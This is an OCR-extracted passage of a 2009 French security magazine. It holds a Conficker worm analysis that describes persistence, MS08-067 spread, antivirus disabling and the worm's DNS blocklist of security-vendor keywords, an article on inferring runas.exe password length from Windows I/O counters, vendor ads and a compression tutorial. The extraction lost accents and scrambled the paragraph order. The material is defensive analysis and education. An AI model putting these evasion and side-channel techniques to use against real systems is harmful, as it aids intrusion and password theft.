Un fichier autorun.inf est alors gnr. Ce fichier permettra dexcuter automatiquement le ver lorsque le support USB sera branch sur un autre ordinateur. Pour que ce dmarrage automatique fonctionne, la machine victime doit avoir la fonction Autorun active (voir la cl de registre NoDriveTypeAutoRun). Pour compliquer la chose, une fois excut sur une machine par un moyen ou un autre, Conficker
Excution au dmarrage
Une fois install sur le poste victime, Conficker va raliser diverses oprations malicieuses. Comme quasiment tous les vers, Conficker ajoute une clef de registre (HKCU\ Software\Microsoft\Windows\CurrentVersion\ Run) afin de sexcuter automatiquement au prochain dmarrage du poste. Conficker sinstalle galement en tant que service (HKLM\SYSTEM\ CurrentControlSet\Services) qui sera lanc de faon transparente par le service gnrique svchost.exe.
Figure 1. Propagation de Conficker Windows Update Service, Background Intelligent Transfer Service, Windows Defender, Windows Error Reporting Services. Comme voqu plus haut, lorsque Conficker tente dinfecter dautre machine via la vulnrabilit MS08-067, le code malicieux plac au sein de la charge utile de lexploit (le shellcode) indique la nouvelle machine compromise de venir tlcharger en HTTP, sur ce port fraichement ouvert, une copie du ver. Laspect alatoire de ce port rend donc impossible toute tentative de protection contre la diffusion de Conficker en bloquant simplement le port HTTP utilis par le ver sur les routeurs du rseau interne! Reste le problme des routeurs, boitiers ADSL et passerelles en tout genre qui bien entendu bloquent les flux entrants. Pour parer ce problme, les auteurs de Conficker emploient une autre astuce dtaille dans la partie particularit qui permet douvrir temporairement certains ports : le protocole UPNP
Conficker dtecte ensuite lantivirus install sur la machine infecte et le dsactive immdiatement. Encore plus fort, le ver va bloquer les rsolutions DNS contenant des mots-clefs associs des diteurs antivirus: cela permet de bloquer les mises jour automatiques des signatures. Voici la liste des diffrents mots-clefs blacklists: ahnlab; arcabit; avast; avg.; avira; avp.; bit9.; ca.; castlecops; centralcommand; cert.; clamav; comodo; computerassociates; cpsecure; defender; drweb; emsisoft; esafe; eset; etrust; ewido; f-prot; f-secure; fortinet; gdata; grisoft; hacksoft; hauri; ikarus; jotti; k7computing; kaspersky; malware; mcafee; microsoft; nai.; networkassociates; nod32; norman; norton; panda; pctools; prevx; quickheal; rising; rootkit; sans.; securecomputing; sophos; spamhaus; spyware; sunbelt; symantec; threatexpert; trendmicro; vet.; ver; wilderssecurity; windowsupdate
32
HAKIN9 3/2009
CONFICKER
Conficker utilise pour cela une API peu connue: la librairie System Restore Client (srclient.dll) et la fonction ResetSR(). La vritable charge utile nest donc pas encore oprationnelle. Les pirates sont sans doute en train de prparer une nouvelle version qui cette fois-ci aura une relle utilit. local, exploitation des ventuels mots de passe faibles des comptes du domaine ou encore linfection des cls USB. De quoi se propager partout sur un rseau Windows
Golocalisation et fingerprinting
La golocalisation est devenue la mode, en particulier depuis que les frameworks dexploitation de vulnrabilits tels que MPACK ou Tornado l'ont mise en place. Cependant, il est rare de voir un ver utiliser de telles mthodes afin de golocaliser les victimes. Dautres avaient dj utilis cette mthode (cf W32.Kernelbot.A ou W32.Wecori). La premire version de Conficker utilisait des donnes tlcharges partir dun site connu (www.maxmind.com) afin dajouter cette fonctionnalit son attirail. LURL suivante tait crite en dur au sein du code du ver.
http://www.maxmind.com/download/ geoip/database/GeoIP.dat.gz
De nombreuses particularits distinguent ce ver des autres vers mdiatiss comme lont t Blaster ou Sasser.
generated URL>/search?q=%d
Chaque jour, 250 noms de domaine diffrents sont crs. Les machines infectes se connectent alors toutes aux nouveaux serveurs enregistrs par les pirates auprs de Registrar peu regardants Le ver utilise galement ce procd pour tlcharger de nouvelles versions et probablement de futures charges utiles ad-hoc : spywares, bankers, module DDOS, etc.
FOCUS
de tlchargements de ce fichier, les administrateurs de MaxMind lont supprim laissant ainsi la fonctionnalit de Geolocalication inutilisable La mise jour du ver au mois de dcembre a rgl ce problme en insrant directement la fonction de golocalisation au sein du code du ver. Une autre particularit releve par les diffrentes analyses de Conficker est la capacit de fingerprinting utilise par le ver. Les techniques de fingerprinting consistent identifier la version de lOS distant. Cette identification est primordiale pour assurer la russite du dbordement de tampon exploitant la faille MS08-67. En effet, la valeur de ladresse de retour (OPCODE) est diffrente pour chaque version de Windows (XP SP1, XP SP2, XP SP3, Vista, 2000 SP4, et la version franaise, anglaise, etc). Pour raliser ce fingerprinting, Conficker utilise les requtes RPC SMB Session Setup qui forcent lOS distant rvler sa version. Les auteurs du ver semblent avoir tout simplement copi cette fonction depuis le module smb _ fingerprint de Metasploit 3.2. correspondent, la machine se connecte sur la premire laide du protocole HTTP et un change de fichiers de configuration peut alors commencer. Ce transfert dinformation peer-to-peer permet de sassurer que chaque machine infecte possde le fichier de configuration le plus rcent.
HKEY_CURRENT_USER\SOFTWARE\Microsoft\ Windows\CurrentVersion\-Policies\ Explorer\NoDriveTypeAutoRun
Pour les utilisateurs de Windows XP, lUS-CERT suggre une mthode pour dsactiver plus efficacement lAutoplay (voir lien en rfrence). Enfin, les serveurs et les postes de travail doivent utiliser des mots de passe solides. Pour cela, un inventaire des comptes locaux et des comptes du domaine doit tre ralis. Tous les comptes obsoltes ou les comptes possdant un mot de passe trivial doivent tre dsactivs. Il sagit ici de raliser un vritable audit de scurit.
Conclusion
Sur le rseau
Les informations officielles sur la faille et le correctif Microsoft : http://www.microsoft.com/technet/ security/Bulletin/MS08-067.mspx Dcompilation du correctif MS08-067 sur le blog d'Alex Sotirov : http://www.phreedom.org/blog/2008/ decompiling-ms08-067/ L'Autorun n'est jamais compltement dsactiv sur Windows XP : http://www.us-cert.gov/cas/techalerts/ TA09-020A.html
Conficker a rveill la scurit informatique dans les entreprises. la diffrence des vers comme Sasser qui exploitaient uniquement une faille bien prcise, Conficker a su se diffuser en exploitant la principale faille de scurit de tous les systmes dinformation : les mots de passe triviaux. Les entreprises qui pensaient assurer leur scurit informatique en patchant les postes un mois aprs la publication du correctif ont vu tomber leur ligne de dfense: peine 15 jours aprs la publication en urgence du correctif, des vers se diffusaient dj sur les rseaux et sintroduisaient mme dans les machines o le correctif avait t appliqu. Les entreprises ralisant une veille quotidienne appliquant une politique de scurit efficace et qui auditent la scurit de leurs rseaux ont t plus pargnes que les autres. La publication dun correctif Microsoft hors cycle a mis la puce loreille des RSSI consciencieux, qui ont immdiatement demand lapplication du correctif et effectu un suivi prcis de lactualit.
Frederic Charpentier
Il est expert en tests d'intrusion et en audit de scurit. Frdric intervient sur des sujets comme les audits de scurit, le PCI-DSS, la scurit des applications en-ligne et le conseil en architecture scurit. Fort de nombreuses expriences d'audit scurit auprs des socits du CAC40, Frdric est aujourd'hui le Directeur Technique du cabinet Xmco Partners, socit spcialise en audit et conseil en scurit informatique.
34
HAKIN9 3/2009
CONFICKER
3/2009 HAKIN9
35
Il existe toutefois des mthodes permettant dobtenir des informations prives dune application sans mettre en dfaut son mode dexcution et laissant lapplication et son environnement parfaitement intgres sur le systme. Cest lenjeu des attaques par indicateurs ou benchmarking attacks.
ans le langage courant lopration de benchmarking regroupe un ensemble doprations visant mesurer la performance dun systme particulier. Les fondamentaux dun benchmark sont : la construction dun ensemble dindicateurs pertinents au regard des objectifs atteindre : les indicateurs portent sur des fonctions particulires dun systme et/ou le systme dans sa globalit, La ralisation de mesures fiables et objectives : les oprations de mesure ne doivent pas impacter les rsultats. Il faut de plus reflter du mieux possible la ralit des choses mesures, do la normalisation de nombreux indicateurs. Cela nexclut pas lutilisation dindicateurs, la reproductibilit sur des systmes similaires ceux pour lesquels il a t conu : de cette manire il est possible dtablir des rsultats comparatifs. Dans le cas o les rsultats dun benchmark nont pas vocation tre exploits dans une dmarche comparative ils sont alors employs pour ltablissement de calculs de performances absolues, quil sagisse de performances nergtiques, financires ou temporelles. Ils serviront alors de supports pour la prise de dcision, ltablissement de plannings, ltude de projets, etc.
procds pour augmenter leur taille de march ou amliorer leurs performances conomiques. Les benchmarks ont ici vocation produire toute une srie dindicateurs sur la situation de lentreprise vis-vis de son march. Dans le cas o le benchmark est purement tourn vers lintrieur de lentreprise, sans ralisation de comparatif, il sagira alors didentifier les goulots dtranglement et les freins dans les diffrentes activits de production.
Le benchmarking en informatique
En commerce lorsque les marchs se resserrent la plupart des comptiteurs cherchent de nouveaux
Les plus basiques des indicateurs de performance en informatique sont bien entendus ceux bass sur le temps de calcul. Lorsque lon effectue la mesure dun nombre cyclique et rpt doprations en un temps limit on prcise une vitesse de calcul sur un type doprations donn. Mais une mesure de vitesse ne peut que rarement reprsenter la puissance dun objet part entire. Ainsi pour dsigner au grand public la vitesse dun processeur les fabricants se basent sur la frquence dhorloge du processeur, mesure en hertz. Un gigahertz quivaut ainsi lexcution dun milliard de cycles dhorloges par seconde. Or un cycle dhorloge ne correspond que rarement lexcution dune instruction processeur. Il faut trs souvent plusieurs cycles dhorloge pour excuter une instruction, ce qui rend cet indicateur de vitesse plus quapproximatif. Lindicateur des constructeurs est galement soumis dautres alas. Entre autres : le jeu
Certains de ces indicateurs importent peu celui qui veut mesurer la performance de son application, en revanche pour lanalyste en scurit chacun de ces indicateur peuttre utile pour dterminer, partir de simples valeurs numriques, le fonctionnement dun programme et en dduire de l des informations cruciales pour la scurit dun systme. Les benchmarking attacks consistent lutilisation de ces ensembles dindicateurs dans la recherche de failles sur des systmes informatiques. Le sens premier du Listing 1. Structure dinformation sur les oprations dEntre/Sortie (source : MSDN)
typedef struct _IO_COUNTERS { ULONGLONG ReadOperationCount; ULONGLONG WriteOperationCount; ULONGLONG OtherOperationCount; ULONGLONG ReadTransferCount; ULONGLONG WriteTransferCount; } IO_COUNTERS
Lorsque lide de raliser des mesures de performances sapplique la scurit informatique il peut sortir de la botte des hackers bien des choses surprenantes. Depuis plus de quinze ans les experts ont rapport de nombreuses attaques informatiques bases sur lanalyse du temps. Ces attaques sont regroupes en une catgorie nomme timing attacks. Elles ont vocation casser des algorithmes, des mots de passe ou affaiblir la scurit dun systme grce des fuites dinformation. Si elles constituent une branche de la scurit part entire il est vrai que les timing attacks nont jamais t au premier plan des considrations en matire de
En informatique les ingnieurs ne peuvent pas se satisfaire de simples mesures de temps dexcution pour optimiser leurs applications. Dautant plus qu un certain seuil de puissance de calcul le temps dexcution nest plus pertinent, mme exprim en millisecondes. De nombreux autres facteurs peuvent alors tre pris en compte pour mesurer lefficacit avec laquelle un programme ralise sa fonction :
3/2009 HAKIN9
37
FOCUS
un environnement local les applications critiques sont rarement conues pour ragir de manire absolument homogne lors de phases sensibles. Autrement dit il doit tre possible pour lattaquant de deviner des informations confidentielles derrire des variations dans les indicateurs de mesure dexcution ou danalyse denvironnement. La tche sera dautant plus facile que les systmes dexploitation fournissent de base toute une panoplie dindicateurs sur lactivit des logiciels. Ces indicateurs sont gnralement accessibles tous les utilisateurs, ce qui rend bien rel le champ de porte des benchmarking attacks et la difficult scuriser une application. Figure 1. Vue d'ensemble des indicateurs du Gestionnaire de tches mot benchmark est un petit peu dtourn car il ny a aucune conclusion tirer quant la performance du logiciel dans la dmarche de lattaquant. Si lattaque de benchmark se fait en rseau il y aura peu dindicateurs permettant de conduire une analyse. On va pouvoir tudier les temps de latence entre les paquets, les numros de squence dans les protocoles, certaines traces dans le trafic, le comportement de machines proximit, mais gure plus. Au contraire sur un systme local nous disposons de bien plus de matire pour mettre sous surveillance diffrents aspects du systme, quil sagisse du matriel, des applications ou de lOS. Dans dexcution pass en kernel ou user land, etc. Ce fichier fournit lui seul plus de 40 repres sur lactivit dun processus, le rpertoire task qui contient une sousarborescence similaire a /proc mais relative a chaque thread en excution par le processus, le rpertoire fd qui contient un lien vers tous les fichiers ouverts par lapplication, etc.
Sur les systmes Linux la majeure partie des informations ayant trait aux processus du systme sont regroupes dans le ProcFS et accessibles via les fichiers de la branche /proc/[pid]/. On retrouvera ainsi, sans que la liste ne soit exhaustive : les fichiers maps et smaps qui rendent compte de lorganisation de lespace mmoire dun processus et galement de la consommation effective de mmoire au sein des espaces allous, le fichier stat, un fichier central qui contient des informations sur ltat du processus tel que le nombre de certaines erreurs rencontres lors de lexcution, le temps
Au del des donnes sur les processus le ProcFS Linux contient dautres fichiers relatifs au systme dexploitation dans son ensemble tel que /proc/diskstats qui contient des statistiques sur les I/O disques ou encore /proc/meminfo qui contient les informations gnrales sur la consommation de la mmoire vive. Avec le temps le noyau Linux se voit greff de plus en plus de fichiers statistiques descriptifs de lactivit du systme. Ces fichiers peuvent galement tre gnrs par des modules noyaux spcifiques ou des drivers. Et la majorit dentre eux transcrivent leurs rsultats dans des fichiers en lecture pour tout le monde Sur les systmes Windows la donne est un petit peu diffrente puisquil ny a pas de systme de fichier virtuel qui rende compte de lactivit du systme la manire de /proc sur Linux. Les informations accessibles par les utilisateurs sont essentiellement dlivres la demande via des appels aux API systmes Windows. En la matire le Gestionnaire de tches reste lapplication phare pour la rcupration dinformations statistiques relatives aux processus actifs sur le systme. Par dfaut le Gestionnaire de tches propose un nombre rduit dindicateurs sur les processus actifs. Il sagit essentiellement dinformations sur la consommation de CPU, de mmoire, des identifiants (PID), etc. Toutefois grce au menu de la configuration de la vue il reste possible dobtenir un descriptif largi de lactivit des programmes en excution (Figure 1). On notera notamment la possibilit dobtenir de linformation sur : le volume des Input/Output de diffrentes natures, le nombre de threads au sein du processus,
Figure 2. Courbes d'volution des indicateurs d'I/O sur /runas.exe/ pour un mot de passe blanc
38 HAKIN9 3/2009
les indicateurs concernant strictement les oprations dentre/sortie (I/O) et dont la structure de donnes a t dfinie dans le Cadre 2 (IO _ COUNTERS). Nous avons deux classes de trois compteurs notre disposition en ce qui concerne les I/O : trois compteurs sur le volume des I/O raliss (Read, Write, Other), que nous avons respectivement nomms ReadB, WriteB et OtherB, trois compteurs sur le nombre doprations dI/O ralises (Read, Write, Other), que nous avons respectivement nomms ReadC, WriteC et OtherC,
Figure 3. Courbes d'volution des indicateurs d'I/O sur /runas.exe/ pour un mot de passe de 5 caractres des informations pointues sur la consommation de mmoire, etc.
Pour plus de prcision nous avons rapports deux exemples (cadre 1 & 2) de structures dinformation que le systme Windows peut fournir tout utilisateur intress. Mme les utilisateurs possdant le minimum de privilges (Guest ou Invit) peuvent ausculter des applications possdant un maximum de privilges (SYSTEM). Une fois un processus identifi il est possible dobtenir son gard ces informations dtailles moyennant quelques appels systmes. Ce sont alors de nouveaux indicateurs qui peuvent-tre mis au service de benchmarking attacks complexes. Des outils plus performants que le Gestionnaire de tches seront utiles pour dmarrer ce type danalyse et lon se tournera vers des outils faits la maison ou quivalents ceux de la suite Sysinternals [5]. Dans notre cas cest sur la base des simples indicateurs sur processus que nous allons dmontrer la possibilit dobtenir du systme dexploitation des informations sensibles pouvant impacter la scurit de comptes utilisateurs. Nous porterons essentiellement notre attention sur lexcution de runas.exe, une application standard de Microsoft Windows permettant de lancer un programme sous un autre nom dutilisateur. Cette application a le mrite dtre de conception lambda et sera donc une cible idale pour une dmonstration des attaques par benchmark.
permet de lancer lexplorateur de fichiers sous le compte Administrateur moyennant le fait que lutilisateur ait connaissance du mot de passe Administrateur. Malheureusement toute application en cours dexcution dans lenvironnement de lutilisateur excutant runas peut deviner la longueur du mot de passe saisi au clavier par lutilisateur et ce en sappuyant sur une simple lecture des indicateurs fournis par le systme. Dans le cas prsent nous avons vu que les indicateurs sont nombreux, diversifis, autant que le sont leurs objets. Lanalyste averti fera galement travailler son imagination pour dnicher de nouveaux indicateurs susceptibles de servir ses intrts. Pour cette fois-ci nous allons resserrer ltude sur
P U B L
Nous avons ainsi appel la fonction GetProcessIoCounters() dans une boucle effectuant le strict minimum doprations afin de garantir que lapplication de monitoring consacrera le plus clair de son temps au relev des compteurs. Il savre que la lecture des courbes gnres par les variations dans les indicateurs nous permet non seulement de retracer les diffrentes tapes du
I C I T
Le programme runas se lance depuis la ligne de commandes Windows. Sa syntaxe est la suivante :
3/2009 HAKIN9 39
FOCUS
que les chanes du programme sont au format UNICODE nous dduisons quil sagit l dun arrondi sur quatre caractres. Ainsi si le mot de passe fait 6 caractres le programme va arrondir la chane traite huit caracteres, qui, reprsents au format UNICODE, font 16 octets. Nous retrouvons la exactement la valeur reprsente la Figure 4. Ou autrement dit lorsque nous rcuprons la valeur 2768 nous savons que le mot de passe est compris entre au moins 5 caractres et au plus 8 caractres ce qui laisse lattaquant une marge dincertitude de trois caractres quant la longueur du mot de passe. Du point de vue de la scurit le problme qui ressort de cette simple attaque est fondamental : comment des informations statistiques sur lexcution dun programme et de son environnement peuvent-elles mettre ce point en danger la scurit des donnes traites par une application ? Les concepteurs de runas auraient pu tenter de brouiller les indicateurs mesurant la longueur du mot de passe saisi par lutilisateur mais cest en fait le systme dexploitation qui est blmer. Ce dernier ne fournit pas un support dexcution permettant un utilisateur de renforcer la scurit de ses applications en refusant (ou autorisant) certains programmes laccs ce type dinformation.
Figure 4. Diagramme des diffrences de l'indicateur Other Bytes entre un mot de passe blanc et des mots de passe de longueurs variables fonctionnement du programme mais galement de deviner la longueur du mot de passe de lutilisateur. Pour parvenir ces rsultats nous ralisons simplement quelques excutions du programme. La premire excution consiste en une tentative de lancement de runas/explorer.exe mais avec une saisie de mot de passe vide, donc incorrecte. Les rsultats des variations de compteur sont tablis dans la Figure 2. En premier temps nous constatons que la courbe ReadC associ au compteur du nombre doprations de lectures prend un point (passe de 3 4). Ce point, difficilement reprable limage, dtermine le moment o lutilisateur saisit le mot de passe. Nous avons marqu cet instant dune ligne bleu sur le diagramme. Ensuite, mais nous ne lavons pas report ici, lexcution du mme programme de multiples reprises produit des courbes hautement similaires, dont certaines lidentique, et ce quel que soit le systme dexploitation concern (XP, Vista et 2008). Cela rend le programme runas trs facile prdire dans son excution et la benchmarking attack facile reproduire sur diffrents environnements. Enfin, et cela ressort nettement sur le diagramme, la courbe OtherB qui est la plus dynamique est celle qui va nous rvler la longueur du mot de passe saisi par lutilisateur. Nous avons donc report la valeur finale de cet indicateur sur le diagramme. Si lon lance runas.exe en entrant cette fois un mot de passe correct (ici de cinq lettes), nous obtenons le diagramme de la Figure 3. Sur la Figure 3 la variation de la valeur finale de lindicateur entre une saisie de mot de passe blanc et une saisie de mot de passe correct reprsente 16 octets (2784 2768 = 16). Ya-t-il une corrlation entre la valeur finale obtenue pour une saisie vide et la valeur finale obtenue pour une saisie correcte ? Nous avons tabli un diagramme des diffrences des valeurs finales en fonction de la longueur du mot de passe, prsent la Figure 4. A la lecture du diagramme il apparait nettement que le programme laisse fuir la longueur du mot de passe saisi par lutilisateur. On constate tout dabord que le logiciel arrondi la longueur des donnes traites huit octets. Etant donn
Conclusion
Sur Internet
CPU test information Passmark CPU benchmarks http://www.cpubenchmark.net/cpu_test_ info.html, Cache-timing attacks on AES Daniel J. Bernstein (04/2005) http://cr.yp.to/antiforgery/cachetiming20050414.pdf, OpenSSH/PAM timing attack allows remote users identification Marco Ivaldi (04/2003) http://lab.mediaservice.net/advisory/ 2003-01-openssh.txt , raptor_sshtime [Open]SSH remote timing attack exploit Marco Ivaldi (02/2007) http://www.milw0rm.com/exploits/3303, Sysinternals Tools http://www.sysinternals.com.
La scurit dune application ne peut pas seulement tre une affaire de code source. Si les systmes dexploitation fournissent des protections pour laccs aux applications (entre utilisateurs diffrents par exemple) ils sont cependant peu hermtiques aux attaques par benchmark. La tendance va mme en sens inverse ! Par soucis de transparence les concepteurs de systmes fournissent travers des fichiers et des fonctions dont les accs sont mal contrls toujours plus dindicateurs et toujours plus de statistiques aux utilisateurs. De nouvelles attaques pointues et complexes mergeront dans les annes venir de ce traitement intelligent de linformation statistique. Restons sur nos gardes. Fabien Karbouci
Il est ingnieur-expert en scurit informatique, enseignant lUniversit de Valenciennes et dirige le ple Scurit de la socit Perein Consulting. Ses travaux de recherche ont notamment port sur la virologie en environnements Unix et les protections des plates-formes e-business & e-banking.
40
HAKIN9 3/2009
SecureIP Solutions
La scurit de linformation est une chose importante pour les entreprises et mme pour les particuliers. Cest pourquoi SecureIP Solutions vous propose diffrents produits et services pour protger vos prcieuses donnes tels quun service de sauvegarde en ligne, les diffrents produits BitDefender et bien plus encore. http://www.secureip.ca
NUMERANCE
NUMERANCE, Spcialise dans la scurit informatique, intervient auprs des Petites et Moyennes Entreprises, en proposant des prestations daudit, daccompagnement, et de formation. http://www.numerance.fr
Herv Schauer Consultants : 17 ans d'expertise en Scurit des Systmes d'Information Nos formations techniques en scurit et ISO27001 sont proposes Paris, Toulouse, et Marseille. http://www.hsc.fr/services/formations/cataloguehsc.pdf Informations : formations@hsc.fr - +33 (0)141 409 704
TippingPoint
TippingPoint est un leader mondial dans la prvention des intrusions rseaux (Network IPS) de 50Mbps 10Gigabits ainsi que la vrification dintgrit de poste et le contrle daccs du rseau (NAC). Tl : 01 69 07 34 49, E-mail : francesales@tippingpoint.com http://www.tippingpoint.com
Sysdream
Cabinet de conseil et centre de formation spcialis en scurit informatique. Lexprience c'est avant tout les recherches publiques, visant amliorer la scurit des applications et des systmes dinformations. Les rsultats disponibles sur des portails de recherche, dans la presse spcialiss. http://www.sysdream.com
MICROCOMS
Microcoms est une socit spcialise dans les produits Microsoft qui a pour vocation d'aider les particuliers, les TPE-PME et les professions librales sur 6 axes principaux de l'informatique : Assister, Dpanner, Conseiller, Scuriser, Former, Maintenir. Tl. : 01.45.36.05.81 e-mail : contact@microcoms.net http://www.microcoms.net
Club .PRO
ALTOSPAM
Ne perdez plus de temps avec les spams et les virus. Scurisez simplement vos emails professionnels. ALTOSPAM est un logiciel externalis de protection de la messagerie lectronique : anti-spam, anti-virus, anti-phishing, anti-scam... Testez gratuitement notre service, mis en place en quelques minutes. http://www.altospam.com OKTEY 5, rue du Pic du Midi 31150 GRATENTOUR
BACKUP
SICCHIA DIDIER
Certes, le volume grandissant des disques durs apporte un certain confort dans la gestion quotidienne des donnes personnelles. Nanmoins, le transfert de donnes via l'internet trouve une certaine logique dans la rduction de ces susdits volumes. Naturellement, on utilise de trs nombreuses applications afin de compresser les fichiers. A cet effet, qui n'a jamais entendu parler de ZIP ou de ses concurrents?
ais honntement, savons-nous comment les donnes sont traites afin de convenir d'un volume plus adapt l'change et au stockage? Dans cet article, nous allons expliquer les usages propres la compression de donnes. C'est aussi l'occasion de faire connaissance avec quelques ingnieux personnages qui ont marqu la mathmatique et la science de l'information moderne.
communications) qui fut repris plus tard pour la composition d'un Cette thorie se proccupe des systmes d'information, des systmes de communication et de leur efficacit. La notion de systme d'information ou de communication tant large, il en va de mme de la thorie de l'information. Ainsi, parmi les branches importantes de cette thorie de l'information, on peut notamment citer : le codage de l'information, la mesure quantitative de redondance d'un texte, la cryptographie, la compression de donnes.
Claude Elwood Shannon (1916 - 2001) est un ingnieur lectricien et mathmaticien amricain. Il est le pre fondateur de la thorie de l'information. Claude Shannon est connu non seulement pour ses travaux dans les tlcommunications, mais aussi pour l'originalit de ses divertissements (jonglerie, monocycle, etc.) A cet effet, il invente rgulirement des machines tranges comme une souris mcanique sachant trouver son chemin dans un labyrinthe, un robot jongleur, etc. Nanmoins, pendant la seconde guerre mondiale, Claude Shannon travaille plus srieusement pour les services secrets de l'arme amricaine et comme spcialiste en cryptographie. Il est charg de localiser de manire automatique les segments significatifs cachs dans une information brouille. Dclassifi dans les annes 1950, son travail est expos dans un rapport qui donne naissance en finalit un article (mathematical theory of
Or, cet ensemble de proprits constitue justement un traitement de donnes que l'on nomme plus simplement compression/dcompression de donnes. Effectivement, lorsque vous utilisez un logiciel de compression (comme ZIP, WinRAR ou ARJ par exemple), celui-ci code, crypte et dtermine les redondances de donnes afin de compresser le volume initial de l'information globale. Intressonsnous aux mthodes de compression depuis l'introduction propose par le professeur Shannon. La compression de donnes traite de la manire dont on peut rduire l'espace ncessaire la reprsentation d'une certaine quantit d'information. Elle a donc sa place lgitime dans notre rubrique prsente. En guise d'introduction, on peut classifier les
La compression est dite non conservative lorsqu'il n'y a aucune perte de donnes eu gard l'information d'origine. On parle aussi plus facilement de compactage de donnes. Il y a autant d'information aprs la compression qu'avant. Celle-ci est simplement crite d'une manire plus rduite. C'est par exemple le cas, lorsqu'on utilise un logiciel de compression tel ZIP avec un fichier texte quelconque. Les formats de fichier de compression sans perte sont reconnus grce l'extension ajoute la fin du nom de fichier. Les formats les plus courants sont notamment 7Z, ACE, ARC, ARJ, TAR, CAB, GZIP, KGB, RAR, ZIP, etc. Les standards ouverts les plus courants sont dcrits dans plusieurs RFC que vous pourrez consulter en annexe de notre dossier. Ainsi, nous allons voquer les algorithmes et les mthodes de compression de donnes les plus frquents et les plus efficaces selon analyses : L'algorithme RLE (run-lengh encoding), la compression CCITT, le codage de Huffman, la transforme de Burrows et Wheeler, les compressions selon Zempel, Ziv, Welsh, Storer et Szymanski.
Nanmoins, avant de nous plonger dans les mcaniques complexes de la compression de fichiers quelconques, abordons un court instant le principe lmentaire propre la compression de donnes avec une volont de perte et rduction de volume. Figure 1. Un encodage RLE
La compression avec pertes ne s'applique qu'aux donnes perceptuelles (habituellement sonores ou visuelles) et qui peuvent subir une compression importante sans que cela ne soit perceptible par un humain. Cette opration (la perte des informations) est irrversible puisqu'il est impossible de retrouver les compression irrversible. Cette technique est fonde sur une ide simple et bassement humaine. Effectivement, seul un sous-ensemble trs faible de toutes les images ou frquences sonores possibles possde un caractre exploitable et informatif pour l'oeil ou l'oreille humaine. Dans la pratique, notre oeil a besoin d'identifier des zones de corrlations entre pixels voisins, c'est--dire des zones contigus de couleurs voisines. Les programmes de compression s'attachent dcouvrir ces zones et les coder. C'est notamment le principe du DIVX ou du MP3 (dans le cas de donnes sonores). Puisque l'oeil ne peroit pas ncessairement tous les dtails d'une image, il est possible de rduire la quantit de donnes de telle sorte que le rsultat ressemble beaucoup l'original selon l'oeil humain. Ainsi, la problmatique de la compression avec pertes est d'identifier les possibilits de transformation de l'image ou du son tout en prservant la qualit perceptuelle. Elle permet donc de rduire un DVD de 4 Go en fichier de 700 Mo. Nous n'en dirons pas plus sur ce principe car nous allons essentiellement nous consacrer la mthode premire, comprendre la compression d'un fichier sans perte de donnes. Afin d'aboutir un ratio de compression intressant, il faut convenir d'un algorithme. Faisons simple pour commencer.
squences de pixels noirs pour le texte. Imaginons un caractre C quelconque (format 8x8 pxl) avec B pour les pixels noirs et W pour les pixels blancs : (voir Figure 1) Un encodage RLE consiste alors indiquer le nombre de pixels d'une mme couleur (une redondance de squence primaire). Le rsultat comporte en gnral moins de caractres, bien que ce ne soit pas une obligation. On obtient par exemple pour la ligne prcdente quelque chose qui pourrait se schmatiser ainsi (il y a bien compression) : 8W/1W6B1W/1W1B6W/1W1B6W/1W1B6W/ 1W1B6W/1W6B1W/8W De la mme faon, il serait possible de traduire une image scanne complexe en attribuant un ou plusieurs bits selon les couleurs. L'encodage RLE est le plus simple qui soit. Il est idal pour les compressions d'image en noir et blanc. Pour en finir avec l'explication propre cette mthode, nous pouvons citer sommairement le protocole de l'union internationale des tlcommunications, auparavant appele CCITT. Habituellement utilise pour la messagerie FAX, la compression CCITT est de type RLE avec quelques variantes afin d'optimiser l'envoi d'informations typiques. Encore une fois, c'est la redondance des squences qui fait l'objet d'un traitement particulier afin de compresser l'ensemble.
Codage de Huffman
Le systme s'applique essentiellement des documents scanns en noir et blanc. Au lieu de coder un bit par point, on dispose d'un compteur indiquant combien de points blancs ou noirs se suivent. Comme il est rare de ne pas avoir au moins 8 pixels noirs ou 8 pixels blancs qui se suivent, et que 256 ne sont pas rares sur les endroits vierges, le systme a bien pour effet une compression. Par exemple, considrons un cran de texte noir sur fond blanc. Il sera constitu de longues squences de pixels blancs pour le fond, et de courtes
Le codage de Huffman est un algorithme de compression qui fut mis au point en 1952 par David Albert Huffman. Le principe du codage de Huffman repose sur la cration d'un arbre compos de noeuds selon les occurrences des caractres. Supposons que la phrase coder soit exercice de compression. On n, m, x, p et d ne sont cits qu'une fois. Par contre, les lettres i, r, o et s figurent deux fois chacune. Le caractre c revient trois fois et e cinq fois. Ajoutons qu'il figure aussi deux espaces. Chaque caractre constitue une des feuilles de l'arbre laquelle on associe un poids valant son nombre d'occurrences. Puis l'arbre est cr suivant un principe simple au demeurant : on associe chaque fois les deux noeuds de plus faibles poids pour donner un noeud dont le poids quivaut la somme des poids de ses fils jusqu' n'en avoir plus qu'un, la racine. On associe ensuite le code 0 la branche de gauche et le code 1 la branche de droite. Pour obtenir le code binaire de chaque caractre, on remonte l'arbre partir de la
3/2009 HAKIN9 43
BACKUP
racine jusqu'aux feuilles en rajoutant chaque fois au code un 0 ou un 1 selon la branche suivie. Il est en effet ncessaire de partir de la racine pour obtenir les codes binaires car lors de la dcompression, partir des feuilles entranerait une confusion lors du dcodage. Ainsi, Huffman propose de coder les donnes qui ont une occurrence trs faible sur une longueur binaire suprieure la moyenne et de coder les donnes trs frquentes sur une longueur binaire trs courte. Ici, pour coder notre exemple exercice de compression, nous obtenons en binaire un code de 77 octets au lieu des 184 prcdent. Il se produit une compression des donnes de plus de 57% environ. Ainsi, vous noterez que les occurrences relatives au caractre e (prsentes 5 fois donc) conduisent un code de deux octets seulement : 01 0000 01 1110 101 1100 101 01 1101 1000 01 1101 101 1111 10011 0001 1110 01 001 001 1100 1111 10010 (voir Figure 2). Ajoutons encore une dernire ide. Semblable au principe de Huffman, le codage arithmtique est une technique de compression sans perte. Normalement une chane de caractres est reprsente en utilisant un nombre fixe de bits par caractre, l'identique d'une dcomposition en code ASCII (comprendre un code binaire pour chaque caractre). Comme le Codage de Huffman, le codage arithmtique est un code longueur variable. Nanmoins, ce qui diffrencie le codage arithmtique des autres codages source est qu'il encode le message entirement et le reprsente par un seul nombre. Il n'en demeure pas moins que cette alternative reste intressante plus d'un titre. de taille n'est effectue, au contraire on ajoute des donnes supplmentaires. L'intrt de BWT est plutt logique. Il s'agit d'une mthode de rorganisation des donnes car la probabilit que des caractres identiques initialement loigns se retrouvent cte cte est alors considrablement augmente. Pour tre pleinement efficace, BWT doit tre associ une technique de compression relle comme RLE ou le principe de Huffman (les deux modles figurent prcdement). En premier lieu, le 